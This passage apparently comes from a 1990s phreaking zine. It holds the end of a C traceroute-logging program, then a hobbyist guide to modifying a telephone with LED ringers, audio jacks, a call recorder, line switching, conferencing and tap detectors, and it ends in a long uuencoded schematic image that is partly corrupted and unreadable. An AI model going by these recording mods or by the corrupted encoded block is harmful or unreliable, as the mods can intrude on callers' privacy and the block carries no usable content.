                sprintf (buf,"TRACEROUTE from IP %s. Hostname: %s  HOPS: %d", inet_ntoa(r
emote_addr.sin_addr), getname(remote_addr.sin_addr), hops / 3 +1);
                syslog(LOG_NOTICE , buf);
                FD_ZERO(&readfds);
                for(w=0; w<NUMPORTS; w++)
                    FD_SET(sockfd[w], &readfds);

        }
}
<-->
```

```
0x5>-------------------------------------------------------------------------

      |  |||| |||||[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]
|       | | ||| |||[ The Street Phreak's Phone Mods vol. 1 ]
    | |  |||| |||||[               Jex {612}               ]
      | | |||| || |[      <jex@teenworld.poboxes.com>      ]
```

```
  |    ||  | ||||||[_______________________________________]
```

[intr0]

97.07.01

This project is a result of a need to have a more versatile phone for at home and in the field. Many "phone modification" files have been floating around the scene for quite some time - some are incomplete, inaccurate, or would be better taken advantage of if they were all integrated. This project should be a good starting point for making your phone elite.

The following modifications are divided into two primary parts: The first being made to your phone directly, and the second being as a separate component.

[part 1: m0d me]

Teq:

2	1/8" mono jack (or stereo with tips tied)		274-274	2/$1.89	U1, U2
2	SPDT slide switch		275-409	2/$1.19	SW1, SW3
1	100k single turn pot		271-092	$1.29	R2
1	Mini red LED		276-026	2/$0.99	D1
1	Hallmark Digital Greeting Card	(optional)	(Hallmark)	1/$8-10	IC1
1	6v power source	(optional)			
1	SPST normally closed momentary	(optional)	275-1548	4/$2.89	SW2
1	10k	(optional)	271-1335	5/$0.49	R1

Since I'm cool, I'll give you a rough walk-through on the construction along with the schematic. The phone modifications were kept to a minimum, since you most likely want the majority of your cute toys in the modular component. I would like to make these devices modular as well at some point in the future - if anybody would like to beat me to it, by all means.

--[ring switch]---

1. Desolder wire off one pad of the piezo element (ringer)
2. Connect desoldered *pad* to right pole of SPDT
3. Connect desoldered *wire* to center pole of SPDT
4. Connect LED to left pole of SPDT
5. Connect other side of LED to the pad of piezo element with the origional wire

(Note: You should now be able to select between an audible ring and the flashing light. If the LED does not light but the ringer works, switch the wires going to the LED as the anode/cathode are not in the right positions.)

--[in jack]--

6. Desolder wire (-v, probably black) off one pad of the microphone
7. Connect desoldered *wire* to center pole of SPDT
8. Connect recently desoldered *pad* to right pole of SPDT
9. Connect tip (or base) of U1 to left pole of SPDT
10. Connect base (or tip) of U1 to the center pole of R2
11. Connect side pole of R2 to the pad of the mic with the original wire

(Note: You should now have the ability to switch between the audio jack and the mic. This is necessary as the audio jack always drowns-out the mic, even when it is doing something such as playing "UN-noise" while a tape rewinds. This also serves as a mute switch.)

--[out jack]---

12. Connect U2 in parallel with the speaker.

(Note: Out jack.)

--[optional digital recorder]--

13. Desolder mic from Hallmark card (IC1), it will not be used
14. Connect desoldered mic wires to the base and tip of U2 in parallel (isolated)
15. Desolder speaker from IC1, it will not be used
16. Desolder one speaker wire, it will not be used
17. Connect the other speaker wire to R1
18. Connect other side of R1 to the mic pad that has the original (v+) wire and R2 connect to it
19. Desolder "play switch" paying attention to how it is connected, it sucks
20. Connect SW2 in it's place
21. Connect v- (black wire) of 6v power source to SW2
22. Connect v+ to IC1

(Note: You should now be able to record from the mic and jack, and be able to play it back into the phone.)

[part 2: c0nstructi0n 0f p0w-paq]

Teq:
----

8 DPDT slide switch		275-403	2/$1.39	SW1, SW2, SW3, SW6, SW7, SW8, SW9, SW12
2 SPST slide switch		275-401	2/$1.19	SW4, SW10
2 DPST slide switch	(substitute with 2 DPDT)	275-403	2/$1.39	SW5, SW11
2 Dual polarity LED	(phreakz discretion- 2 LEDs in parallel, or a 2 pin Dual LED package)			LED1, LED3
6 6P4C Modular Jack	(try DigiKey, www.digikey.com)			

Parasitic Tap Detectors:
----

2 15v Zener Diode	276-564	2/$0.99	D2, D4
2 Mini Red LED	276-026	2/$0.99	LED2, LED4
2 Bridge Rectifier	276-1161a	1/$0.99	D1, D3

(Note: I substituted the 1N914/4148 Silicon Diode for the Zener and it seems to work fine, 276-1122, 10/$1.19)

As you may of noticed, the Parasitic Tap Detectors are taken straight from the article Tap Alert in 2600 vol 13 iss 1, credit is given to No Comment and Crash Test Idiot.

Now, what all this is. You have two primary inputs, and one master input in case you have a single connector with two lines on it. There are two "outputs", whose function is up to you (these are optional). Now you are left with one master output, whose function should be obvious.

SW1 & SW7 change between the "outer" and "inner" wires, in other words Red/Green vs. Black/Yellow. SW2 & SW8 reverse polarity of the line (one is optional). SW3 & SW9 serve as polarity detectors, lighting one color for a certain polarity and another color for the other polarity (one is optional). SW4 & SW10 make use of the tap detectors. Most of the time you will not be using the tap detectors as they can have problems with the other devices on the line, experiment. SW5 & SW11 are primary line power switches, make the line go off or on. SW6 & SW12 are hold switches for each line, when they are both "off hold" you may conference the two lines.

The polarity changers are a must - often times store-bought telephone cables reverse voltage, and even your wall jack might have non-uniform polarities. To use both lines at once, the polarity for each line must be the same, this can be achieved by throwing just one switch if they are reversed (it’s an either/or state).

If you find any errors or corrections you would like to make, or you just need a shoulder to cry on, my email is listed above. Any upd8s can be found at http://www.geocities.com/SiliconValley/Heights/1334, thanks for playing.

[schematix]

The top of the diagram has the modifications to be made to the phone unit itself, the bottom to the modular device.

```
begin 644 phonesm1.gif
M1TE&.#=A4@-9!O<      $! 0(" @,# P0$! 4%!08&!@<'!P@(" D)"0H*z
M"@L+"PP,# T-#0X.#@\/#Q 0$!$1$1(2$A,3$Q04%!45%186%A<7%Q@8&!D9y
M&1H:&AL;&QP<'!T='1X>'A\?'R @("$A(2(B(B,C(R0D)"4E)28F)B<G)R@Hx
M*"DI*2HJ*BLK*RPL+"TM+2XN+B\O+S P,#$Q,3(R,C,S,S0T-#4U-38V-C<Ww
M-S@X.#DY.3HZ.CL[.SP\/#T]/3X^/C\_/T! 0$%!04)"0D-#0T1$1$5%149&v
M1D='1TA(2$E)24I*2DM+2TQ,3$U-34Y.3D]/3U!04%%145)24E-34U145%55u
M55965E=75UA86%E965I:6EM;6UQ<7%U=75Y>7E]?7V!@8&%A86)B8F-C8V1Dt
M9&5E969F9F=G9VAH:&EI:6IJ:FMK:VQL;&UM;6YN;F]O;W!P<'%Q<7)R<G-Ss
M<W1T='5U=79V=G=W=WAX>'EY>7IZ>GM[>WQ\?'U]?7Y^?G]_?X" @(&!@8*"r
M@H.#@X2$A(6%A8:&AH>'AXB(F)B8J*BHN+BXR,C(V-C8Z.CH^/CY"0D)&1&1q
MD9*2DI.3DY24E)65E9:6EI>7EYB8F)F9F9J:FIN;FYR<G)V=G9Z>GI^?GZ"@p
MH*&AH:*BHJ.CHZ2DI*6EI::FIJ>GIZBHJ*FIJ:JJJJNKJZRLK*VMK:ZNKJ^Oo
MK["PL+&QL;*RLK.SL[2TM+6UM;:VMK>WM[BXN+FYN;JZNKN[N[R\O+V]O;Z^n
MOK^_O\# P,'!P<+"PL/#P\3$Q,7%Q<;&QL?'Q\C(R,G)R<K*RLO+R\S,S,W-m
MS<[.SL_/S]#0T-'1T=+2TM/3T]34U-75U=;6UM?7U]C8V-G9V=K:VMO;V]S<l
MW-W=W=[>WM_?W^#@X.'AX>+BXN/CX^3DY.7EY>;FYN?GY^CHZ.GIZ>KJZNOKk
MZ^SL[.WM[>[N[N_O[_#P\/'Q\?+R\O/S\_3T]/7U]?;V]O?W]_CX^/GY^?KZj
M^OO[^_S\_/W]_?[^_O___RP    4@-9!@<(_P !"!Q(L*#!@P@3*ES(L*'#i
MAQ C2IQ(L:+%BQ@S:MS(L:/'CR!#BAQ)LJ3)DRA3JES)LJ7+ES!CRIQ)LZ;-h
MFSASZMS)LZ?/GT"#"AU*M*C1HTB3*EW*M*G3IU"C2@7PKZK5JUBS:MW*M:O7g
MKV##BAU+MJS9LVC3JEW+MJW;MW#CRIU+MZ[=NWCSZMV;%B'?OX #"QY,N+#Af
MPX@3*U[,N+%CKGX?2YY,N;+ERY@S:][,N3/D@YY#BQY-NK3ITZA3J\X:>;7Ke
MU[!CRYY-NW;FUK9SZ][-N[?OWZYQ Q].O+CQX\B3EQ6NO+GSY]"C2]?,?+KUd
MZ]BS:]].MCKW[^##B_\?O]L[^?/HTZM?[]@\^_?PX\N??]8]_?OX\^LG;W^_c
M__\ !DA<?P(6:."!"))&8((,-NC@@X8M".&$%%9HH5H27JCAAAQJF&&'((8Hb
M8H ?CFCBB2BJ5V**++;HXG0KOBCCC#3Z%F.-..:H8VHW[NCCCT!:UF.01!9Ia
MY&!#'JGDDDS"E6234$8IY5=/3FGEE5%6B>667 :I99=@ACGCEV*6:>:(9)ZIz
MYIH5ILGFFW >Z&:<=-:9WYQVYJGG>GCNZ>>?W_4)Z*"$1B=HH8@F6MRABC;Jy
M:&Z,/BKII*M%2NFEF(9F:::<=EK9IIZ&*FIBH(YJZJE_E8KJJJS.I6JKL,;_x
MVA=HLM9J*V.OWJKKKE;ERNNOM?H*[+"L"DOLL:,:B^RRG"K+[+.3.GO?!VI1w
M&Y:U;WV@;;700BLM?=B>%:Y7X[I5+EGG=@OLM_.E>YF[ZL;;%;OQE:MMN/?^v
MLVU5^6*U[;[]7A7PO_OR&[!5\.J+K[4'*TQMP0YC>R_$\D9+JX[C2NPOPP+[u
M:[#''?.+L,9994QNR2%O+#+$#Z=<L<4&^8@OR")K-3/"-.L+\LT1FWRRSC[Gt
MW#/!";^<*+WP\5SSTCDKK3/.(=_L=-$/M^PRU%C;3+'1C2+]7M!!"\UPV$^7s
M+?7(0FO]\=5,,VUUVUPKZO77&R\\\<@'_XLWRP7W_^LWP08WC'+9/>_--\!Wr
MQRWIW.P5C9;CBD?NY,5H7@M7XI)GCA?CV%&E^>>54BZBYZ"7;AKGUY%N^NJ:q
MBAZBZJS'3IWKE)T+N62VVPP98EN;*WN\J.L^^-Y/3RPQYA$G[W#@1"._E>"$p
M9XT5[);+=7M9U_]N:_ "8VZ\VTZ;#3[A8-<,><;>.U\5]6!E+Y;[[VO?+?=Io
MB]_T\&_C/#74'+<O?/WKP][WN@<OHG6,8@.K&OH0*+]GT4]_'NL?5^P%P?]%n
MCX)CH:#)TL6^KZ2+9,\#(<"P=CS^*0U^C_K;V,YGM\ 5SG $;-\ MW8W!2XOm
M3 ]<603AEK;$??!J&(S?#O\/N)4._DQL$]P9_Y1HP@'RT%3[N]8)28C$)UI0l
M82X;H16ME,/J)9&)/Y1>$+W8%[/DCFUB7)H$S1>UKJ PA4",'PCMY[8X^H^(k
MT2O>%KE(.]$LC&TD^V,4T>A&MABQD%3<8M\224>>3;&(H1KDS^9(R2P"<'AZj
MS&,%R]3%]^4M?6-C'@'MUK?>:0UZ8SFD&QN&2OV5TH8NC&4"63:O2-K1@VI,i
MV2/;YJY'KE%E;RQ2)YNCRKD$4URU])0D5[E(1I+OEI@DI15_V:5A*J>8<5%?h
M7>"%344M\WEM9"39YE@R$89S;>3DDC63T\W@B IY3CRE+&=YN,/)\'@K%&4Lg
M-7G_I74BIYV5:J"N_'D<@*K&H )M5A\YA%#4-#2AER*H<1YZ.H@&:Z$;HFAIf
M-&I11TET43;J:*P^.J"0BK15)!T.1T>STI,6*J7 :2DX/^728F'40X]S7BN)e
M9[CF'5,K,JWIGV#Z&XVFTW%G9.,>ER-45!'5I,A,(RX'MTM#-O543^V-4:'Yd
MQ;I5=2U!O6J>LDDJ7A"AFJU(]8B:_BB%93:4@;")K6V)61+H&!JV\O*-2]\K/c
M^K@U-F$$%DES10I!9"215:3FJ7C.YUY].[Z^P">R/!MN=PTY.LKL3ETZUV5,%b
MUI"S91PI8.-Z4]E8MBZG12U443K:-5&62IC]C%UBBBQG:_^[)MJ0BK5UMD]J]a
M]/8MN)U7:5T%V=<$ET:OA21A8GO<JQ06J+^=;7'=Z=KA.O0PF&UN ,,27>**z
M-K*ZA6MMM L6R3:WN\F\"WGAM%[!M)=%R>W5>[T2V.-2%+UNF:^:],L7_IHHy
MOO_P;WJM*MVVJO:[Q@WO<\'[F*#B5J:V%;"8)+RYAO33NIJB#(0+#-8#LW=Sx
MK1UPEC#<&0J7E\#>G6M9XW3>$&=V2I0U,7<[G&+GAC8N,@:1=G.\8OI>>+<\w
```

```
MJBV-Y<(^]*J2N6\B+X]KK%P8DY@Z4+ZQD^H:W6)F-Z[]=7&3I237)<^8L/CUv
M*W0'PAHJ$=FUB&6PB*%$5B^+!?^A7^H@D+%IWOT"QLU3]C$?@;Q1SQA4(2JFu
M\H(#?.(\<_*N6@;JC\5[&CR_.95F13%K+D9G')M)OX[.KYGWS.B*9IB["Y'Tt
M],Q::4.#B;^9#O2:F_345'\9MH >\J1CO6E-XW"YB2XSIP>MH%[#.M12GG5's
M9+TE ;N:V(K>-9D]+9JEO)K0!E:GL0'+$"P1]=C/%C2MQ:QMN'93=2O%MH#"r
MS&'J[O?)DQ%WML<<Z6@+6[S?MK&[3SU?=7/[3#"U=ZT_LVW"\IO1I>X5LNF=q
MY@17E\\E/NBO$6X6(U(NX-L-=HB<F$Y#*CG7.$1W@Q5>WDX/?'V\AK:>!3YOp
M$57<L=#_S8N^F7IPC_N9XZ ^,[N3/?*(^QM%)T=M<%?>'04ON]GF=B^5MTQTo
MD=_\1(I5;X0Q+IB=(HBD/"\TKB?]XJK;_-XC4A_*8RYS@]\E7Z"LN#P]BS@5n
M@A8Z'XWZNN^LZZ(_MNU'-]$OMPYI2ZN9+LT<IP?-N40=,K9S&L?5W85N:[ACm
MW>3B3%58U;[VRX5S[E/-9=_1N51B!GXQC-\WD@K_=HF#Z&]#N^N&!V_,#0(-l
M;3*,9ATK_YRTDY[P)2>YYV\;[K?^_.LC;!GZI(C/9DJ>.Z[W>H3N>\APQY[+k
M%#9^:$RO>TQ>D9K/9+US@A]T[#9<\]>/.Q]S>WS,T+*49DL8_RTU6<E 7?ZLj
M3'=O.\EM],,_VMH\5KYG/"M.4T;0[*-L(?#/SWWAD^K(Z_=QV,=F7B9_ID)]i
MU7=6/Q=R->=^ \@D[ =[VB<J"!A0&A:!-#>!#V@@]F([=(>!$NB G5*!,)> h
M+/=^#<)*>15^L-1Q--5]"L5PMY%^?0:#AH=WW[%+CB0]LB4D AB#+K<9F;>!g
MS*:!;N=)].="3A=#9+="97=VG*&#NE1Y(&A]-H@I)!ADK]=S4B= D[=ZY,)Wf
MC;56J"&%5%0T58@8!I@L_*>&6WA=5]A^Z/)X8(A(O_=W6D1WO&-)8*@W=95Pe
M<4@I6=AHIO6#5V=&S!=]>Z=ZBJB'BO]AAI)W+FF(>8:(A6UHA<%A$L,G@\[5d
M1PZ'@7YS>N'#3##4AZOA,Z@XA9VH7JP8B# 3A%%F@G:W>1E8B[)WB_)%.OB5c
MB/F#5$QT/]+G??#D@3$$-Y/(=1YFA/0QA&5UB1'RAL U=;;8>7!79$>(1:Z$b
M>I4W?DDUBH929SM7B>_!C,W(B9=!CM<8C2%X@[BH:W)F=:[D>[TG?LHSC)_Da
MB./E8(<XB\H8'^CH*L[XC!;8BHBV:OMH8^]HD&,B?^'HBNA19+"8C^9XCK+(z
MCP5WC0 (C]2X(\=H= TY>UHUB>9AC1L)*0%9&/\H;P3)=@IY9 IYD#E2A;WUy
MD?W(6Z<%@@G_69)R").F=9(H68+E=I'3R)/XY9)&$H$DF8PBR%OIJ)-7EY-.x
M.1LIE9([R619UI*[4WP-2"1A!I56>8*KI9);V7E>&974-I%"1HAZX5]:>814w
M890:"2[Q1$]+V'!EV8X6F7UA:99X*6\.]Y*1Y9,_J98J-YCL*)8!9&6 *1]Gv
MHU30-U>PTY9*J9=:M9B*^9=CV9-H29&$"6*&V9?4^);(*%\",C.F]W=$YCEPu
MV6,@21N*:9F2&9=G&9&<08[KE7RT.6H,*%P@QX%XE#7XV(/"11)@97L.0815t
MB9A#R9.!N9F<Z6MK&9+)F1\S!(P5-IW862"Q*9O,.9T=V6R"*9! _W>5>^D?s
M8Z2(.J><ZID@VYF.\:9H5-EQSOF<G^9;,>6;^'-)D+F<\0F'3=F7 $4]JED>r
MX2F>@$B>E5F:@L-*]H<A[=F=VBF@ 7J8P[F !#J?]%F;+%F>P@1QH,D@EB62q
MN<F%)HFA&3J#&YJ@2H*3%.H@WPFA)&J3)GJB/EB0'.HC(LF7,E)GNC%8]H9Jp
M]]FA4M:?TY>74EF@;HBB-JJBD]52NN@E1JJ9(UJ?+[B./2I8BP>C+<*C)3JEo
M5"H9TU94.'IE1$I,43J;N]F9[6&@O%&FBQ)A;LI.9]J<7CJ>:\JFY1&3<7HGn
M<VI<2"IXC6%B>YJ9+_*B,-:GF3BC)19__?_'I'IJ)UPJHW5:@YA8J6WJ)8,Zm
MCH@:.HKZI58JC8XZIA]F:A(YJ45X9TN6J=SYJ&A&JJ[YI^GV7H;*FJ&*J7;Fl
MJD?:J0JR8XZFJO_)D;X*'I%:JFGZJK.5:L':HK9Z:[@JI<4JD9=5HS=ZE,G:k
M.9MZ4+ JA+=76;.*H)>Z?<5VK3R2K7[&<+KZF=]Z8=8FK@Y%KJ?CKBIGG,<Ij
M;5S$KHT&KV+U=-6*=O;ZKN>:KQFUKX;2KQN%KP#[']U:(\/ZJO^J&\%YL,W(i
MK.K8I<^:&'/Y67@C2DWHA&%D///(/& 73S<$L?4AL-;:K&BZK;B35MB(AVLDh
MAL#)AS%+3F)'LKS_>6D$NZL-JQ<TBT?YXY@T,T9?)4&01T@V2W6W.K&26K$6g
MR[)6\[.C%+155(?*PU4/JST)RY4YRU(&6RT+VD9OXT.\]+7Y5T5D<T%'*YQ8f
MAK)TRK1[F$=G\[/EAYIH.U,QVTCZ";%9>R0+FZNF2A@]2T(O>[=T!+==54>0e
MF+:]":E;"YX[BQ>@5S@#PU-#DT\MNT"8R[$^M4"*2YIZTK?.JK+*<;6=2ZC)d
M<J%_RQND6[J+.8*HZ[:LZQ\F2R')"F"Q^W+%\KJB>[MRDKL]VK6\>[)8I;M[c
M&[SI4;Q&HD(UF:BI:[SX,;OCX8V-E[+(Z[P/>28>^X642:R[:[V]2R>/_XF"b
M2]N]WFL@T!L>#3J];4N^Y:N=X"MJ#-N\[7L?YPL@M0N\\YLZKON[CYN_*K*_a
M%,N^_HNP #R^U3O X<%CQW0[CEB7=GBE_"N_"*RIC\@M9)0M%IRG$0R[$[R,z
MB[&Z7[<=]]N_'2P>.=:!^-2R(XLV95=.H72/215"W;-/RU-/92N$Q%N_)6RIy
MA5$^J*=W*ERWQ9-S>2NTY;0RC1F,Z+?! KS#'MRT:=5+,DNUO5B*1KM$9YNYx
M+8R[ 7S 3BR\AS%(4DRX5!Q]X4,U6)3%19R^&\?$7OS%UG'"4LN#4L5 JIC$w
M-+2(07R>9GS%8)K#<$PB'UPW/77#'_.Q&7M#RO_[2NG[LCYTL8P,PK3*O6\<v
MR -;P<8$(2,LP<RBP],:&'H(A>,&R*;CR9\L-Z0,.J9\RD>3RIJSRJR,*)O,u
MP=YRJ(_AP*3HQV'\L)(,EI0,RS@"S+$,N&UQMFN!C[P<J*ZL.,(\S(.!<JN+t
MS#@(J%W<S(6ZKI.!PM(TPRE\R A4-<QTCZNTPN!<C&G\S7:\Q-4L.=;LS$TWs
MPW0<2&$CCVOSP,YTQ&I$M()K0E.<I.O,S.I4._D7R65\M]++@\:\@H'TBT,\r
ME]1LP.V,(A'MSJ!,2$DLQ'U,QSUT2:G(5WBH2 _]R\?"OL57R6TBT'Q80N8Sq
MSW>,QI-70&(8TZI(M3S_[+>TS(:Z>)<!=I,3/9#+FUCVV$+@]X2PE$!]%;6)p
MG$2S-+)+S=1YH\QNW--/5W0Z+=7^^=.C0;J]K-'H&K\W'2J8"9-A+5CBV!FBo
M[+5LC,$A[=5-;!PQG!G0$T8U[9>K:M64BM4!'=77\=8U!+)^33Q%3=25:X=\n
MK,1!668/NI[!7-9Y_<_107%BJXU"[,@%389>!,EI[9EJNYQ:NJ5#MM4N,LMMm
M71S=R(AG2%6WU#\,#$"@;;K9N9HX^MF)C,M:J]?3(;=T.[502\:&FT%#])M=l
MO8JN;=?0>71LQ67+_!RX';YCJT46I,9"!-Q^AZ<"]YJK.B9@Y;&J74W)G8-Jk
M_V79S[W1%YR6B-V%RHI<LGU.V.S8T0O/*^BRE<W5<WP;D8F!OV72#R)_'7AJj
MW0T>06VY3^A5AKR$V5N;JME0(4K<:JJ7A5VOMCTL+XK?M,O8X?K@$$[AZ.V0i
MZPW1R+*&PH3A_=3? P7BN[':*B/9C;J4$R;BM^+A);Y92&7'!TV+K;GB%KXNh
M)'Z*"!W=C0C5-2ZQ'#[2.:X:2;=8.[C"H*KB0"[20J[AKU'DD=?C1YVB2L[?g
M-_XK+O[BO6/B?9C9]NGD#L[>. [F.DY^/+Z#K8V<YMVJ8H[E0YX:4/[=@SOEf
M0KF];![DQ)+EN1&Y+S1!PPC/M'W8OGSG3)[G;PY?A__.:BR^/8DNT8V^)*(Me
```

```
MX2_UZ/]%Z7R[Z,%BZ:.CZ1]^Y7#NY3K&Z:%.YLCMZ:>1YONAYY,EZE!JZF:=d
MMXA.ZIXMZVR&Z7"-1LI;Z;2>(JINXVV^? <T?H;MHJS.4,6^ZJX.U]GK>[D]c
MZC^N([V^Y&PMZ7E15<R=4<>.4[L.@;;N??-=SR<2[=">[1S9[>_BPLY’N_):b
M;2M9Y:Y=F-O>[@T2Z0K^O&)ZK [:5F’Z[,M5[U_^Z\-+T5RH4:)Y<VQ)[OH^a
MX<E.@?>>8O?5V:%)XWC-DOX>G0L/U@UOD0_UI-N+:0C/;14/[P!_@) ]0V"Wz
M=TF(Y$NJM!!O<PC.V9,YZ)7_6DQ\\]?)@^I .>TA+Q]4 ;.]"-/:B_,Z:N<My
M’YDRGYV7-=KG3>78A#C6&<0B;.Z9TO.)1$T%1(=T+O*<-_3*^6?7#5Q/1L(Ex
MU_2A--/R’<=2CX6-%(KHPHMS79,3NO0?>E[MMG!*’_--G\;??A[T_E?PY-%(w
MJ$.[3>57&( PK]@?"IEU7Z%B?_1Y[X?WS!]I’U$?C>)1+HJG1]WN_IZ’#Z%Pv
M"FSTU6_>BO@5Y,/’._F"B+>;!/7N#30J’=Q$_ZN)S?5(7[*@_V^+;_&_*DE_u
ME,"H’RV@I]WZ5$C><_;_SN^)CYW6O>:*?_OLEON:_9^Y7O)"G_,V??=WBOP$t
M;",9_W’TR0_;\KGN%J’FHWSQ53KQLIOQQ[_TL]]?[([[T"_HM+_](T_>Z)_Js
MZJ_[<C_6_>[\SU\J  ’@WT""!0<*-)A0X4*&#1T^A!A1XD2*%!%6Q)A18T0 r
M’3UVW!A2I,&+&DN.1)E2Y<J-)UF^A.D2ID*9_VK27’AS9L.//3T^].ES)T.=q
M!X<>19I48E&E30L&9>K4I,BH4JU>Q5@5JU*M+&5V_;HU)]2J9+NJ9’I6[%JVp
M:MFFA/J6ZERY=>T^O>OPP]Y_’_KN!3PP\&# ?DEN=7DV<5Z;/2T&Q9J6\>2Uo
M;BD_%GJ9(UW-G9-:MLI7,$’#H_N21FV:(.B1)]6Z]IS5<?]DH+%M[V1]FR9Dn
MW3A#YNX=?’7LTJ=5&S=<O’1QFV)+NGTNW+9DZ=6S6F_)VSIPX-BGVQ9=4/EHm
MYLL/(QY^W:CWR]39O\\)’_/L[9SEWV]^.[#@PJ3]*M\/+^?64Z\[_%9R[T#Xl
M# PN+NRX4_ ^!H\J[[C4QC-.0/18$VC"".V+[\/W/+S-P?I^$W%$XC!D3C7Sk
M+"11MM]B3+&B!&N4CD;/3*RNJ!L3TA%!LX8DLD@CCR22N+]$Z\\_\_8+K[$Aj
MD8(0Q^R0Y#%$*W/<\BGM>G3HQ_/:JS’([[I$D\"6PDRSP3:S%,[’VGCJS,RZi
M[-RQ330-U E//1%\\TLNZ6234#+_4_13LT3_E(O!FQ9E%$0KX;0+R4(-U9(Rh
M2-%C=--(.46I)D\_56]/0>\JZU*B5)UL5*L *(S) /DS",HH%2(LO%FI)!51g
M0(’L5=% ,VMU,TPSW0U+99<]]4"!6%SH5@RC?;%"IUP-EBNO@,VVV#0IO=/8f
M55GE]E 1GQ7/0M2L;;’6=)%3]RALNY7W)=CHS6M>YYH-%R(YR1U3TS(SA#>Ae
MY PFF%IW_TN85WPEC$G#AQL=EC[&4CW6MW’-_?#9)@D^N&&1J3V8X7:’TG?Bd
M;2-64^7**OZ(XXP#1K9<@7UME\5=XW4W79-’QLUE%6="*&6A\S.5V(O%K=EFc
MC6\^5^3Q_Z9-K:$H_UONY*"/?A!EI+FF[5M^*?878)J=7AK1CY>,5=:L;T7Xb
MXQ>O!?M$W(P6&N]7QWX+XS7M[CA2O>LNE7#\!K^6[[:8S@CQPB-T_%7#XYS<a
M69A_@MKLB2*W:.!.*^^-<]#_3MKB?!E_W$U?/Q_]S-;9$UU>Q5\N&T7 (1?\z
M]=ABUWWSRT’*?.;.;U>0]\]ZKQ/YKL56^O3:21]T*> ;GUY;UI7W%GO*F3<=y
M5=1M7-[?HIG%’’.’_S2^]_2U;[K,V0=\?BKBFQ;U:8FW1I_]M/77;7U[WP>5x
MYI82/N%]+3WW0R#+\L>_2C&P?[^+G=_D!R8!&M" __+:]1RXN/\-[@Z",MO8w
M!*,7OOM=L(*ARET’.:A"87$O9L&;F)’(=2^BD ]+*60A8FRX0Q[VT(<_!&(/v
M/PA#T&’P@"U#F[UPF$,F-E%3  R;[HS8LBDJ4$_^<V(6^0<NLDEQAF<#X\H6u
MJ$4REO$J7.R;\AY5PCZ=[XIFA&,<J03%,V*O>HVA7V+\A$6BR=&/?T0+’26Gt
M/9#<,8QX1.3Q- A(1C92>LWSGO[$Y"6I\-&*CL1D)H$DR$H&9V>J:^ B-3E*s
M3*)QA6S)U=LRI+6_.(D_?&’E*T_3-O’ LFWM<IPEE4A*7I:2DW1#9;5Z-DQ<r
M"=,_5IO;U)YD&EPZ;XR]A*8?34F[M4#_JV#$C!MY$,:0:4W-9\PLX2G?%$URq
MRG&:\ OFPF:Y36["*Y;%9"=R<E;  (ZSG/<DXSGK64TFK=-:5M/F.TGF)&E=p
MC9Y1?",^%=I$?2)T*Q7Z&=7:Z4^*L"N>JSQH’46Y4(YN\9=-,9I!=95,@-(*o
M9*PT:,-2"C0+BO-;’86I QNJT6JRK6IO^Z0L7913G]E*I ’B:2Z7&%.B(F^Fn
M@\RB4#=:5*96[JB=U*)2G]E4JD[NJ<"L*OB6FE6NQO"CUNOJ +<:5K+VZJH@m
M+>OWNJ3+M+95=I ,I5M)^-+B?56N3#TK6.^:Q+76-:][C>E?W0C8(PKT<,XRl
M"V$!*]AZ*59B_ZI<DE^#.%G*5M:RW7,LX1B;P<Q^C6J&W9Y\BM39MFX6?YGUk
M6*S B3L)C9:T9#5M’TE;$HNR5K2N?6U78WM)Q=+68* =X8AP*QW@9@1NNCENj
M18FZVUUVUK?8G,S5DB.WP; U3$G"CD134ES&</>B"V6N&%’+’ED1$T#6O6YBi
ML_LNEGCW+NYE;T?#*Z3+UM>^]\4O^<@[W6&VZ /H3:]=ZP*@M?&45K/"6JW*h
MNZNUD<R6D:WE2*6E4YM&=L(PG6]NT4+>5OZSF9’!+%4$/&#H8A29-PV9B75Eg
M4IX=A[_,U*XU6XEB%P=VQ!H^;742[.%P?N;&FWRA=_Y9M18G+,4IUO_FA6C)f
MS0NO:\FJ=25!@1HM&\,5QVD4\C5=U..W_IC+PAFRA5#:,V.NZUW>A9(ZX^E-e
M(I>8I=’,\)4E!>;X@JR6HYI2<SD<WR/KA:1;7BV@BZRSFWZ3Q5KN)I4Q[&4Yd
M;SB[;GNEA WCJ>’"Y3[E07!R>ZI*H$(:PA5F\I09W.D$SYC4TRWP<AG=:!1Vc
M*K^OAG6LW6S<[KX%OHV,,ZL;-U0?Y_E7\+FU@C5]E0:’1M56UC5-$YHX7SLZb
MV57-];-]-U:B8??7TL;KJK&=NCWMK=F6WG:VD1WNP=*5V63A+;G!JVUUJW5+a
M>$9WNMM]SVC/^\LXPM:X6V-O^;*;WW/M-C7_<_QO<M:;X$@,.#H’?O!>&OS@z
M &ZUPF7+\(+[F^)’M*?$Y7WQ3#J<X+$&^9%<JF>.D]+C)7<BGB".\G=;G.5Ey
M5/G+3>YRF2>UW#4’Y,EQ_I)@’[:Q.\<US8$^$2C;%-79BOG0&:ESI9?4Q=JEx
M=L2;;DZA3QTB<R-RSR’V<ZO#D>E=[Z]>D’YSL*>\ZF57])NU+EJRHSV’7W<[w
MUG$U=JZ[W>SZMCO/^0SUJ6X\[QN$.]B+7N!B+WOA?^]@X!$_J9"’?/&:/?OCv
M,QXXR7--\96G?-0PG[?(;WY2GO.\5_$>>K"M/’ZD[];E4;\@T*\>Z9UW??%:u
M’WM2J9[V\_/Y[6L/_WO=LWYUO1<<[X’O’=//:?CH$_[Q*:AYY0^Q^2XK_@F?t
M+]D@3_]AT>>)M:V_H.1OWW69;Y_W<]1]\2?O]^$O?^C(GWXBYA[][)_.^N’Os
M3/#?>_YUDO_]^\7\]^N_/?GWOY%S/_L+P(L!P +<)\O)* 1$E0-D0*2J/[YZr
M0 ,<O0G<.OXC0 ML"P?40$7"0 GLP$;AP!#DK @\)!+<P I$0=R[P/Y;P3,:q
MP1<4+\CY-AGLFQBT07#[P!Q\(A7DP1*9O1]L%1P40NBQK2(<0A]$PA;:P244p
M025TPNPQP2A,P1"CPN\[PBN\02C4POV;PBZ$02X$0P%LP3’4(3$TPP0<P/\To
M]#8K9$/ZR\(W/+?JD\/V*\,ZY HBQ,/5:#R0V\-*TL,_%$1""L1!-$0I*L1#n
M5$2G2D0Y-+!%/!K;JT.?$C0FBS!9*CJVP;1W>C+_&@Q,’#9(M)%&C$*^X\3/m
M*K0Z,[&'P+2]2T51#!52=$)39,55M$6)"K.T2S+_NA!8#"0T]$6B4\4WNZ9$l
MRSIL$BAK&K.U"T8I<<-F'(D8N[I*Q#I<=#-4U++?(D9H! I97$)KO+HI>T4[k
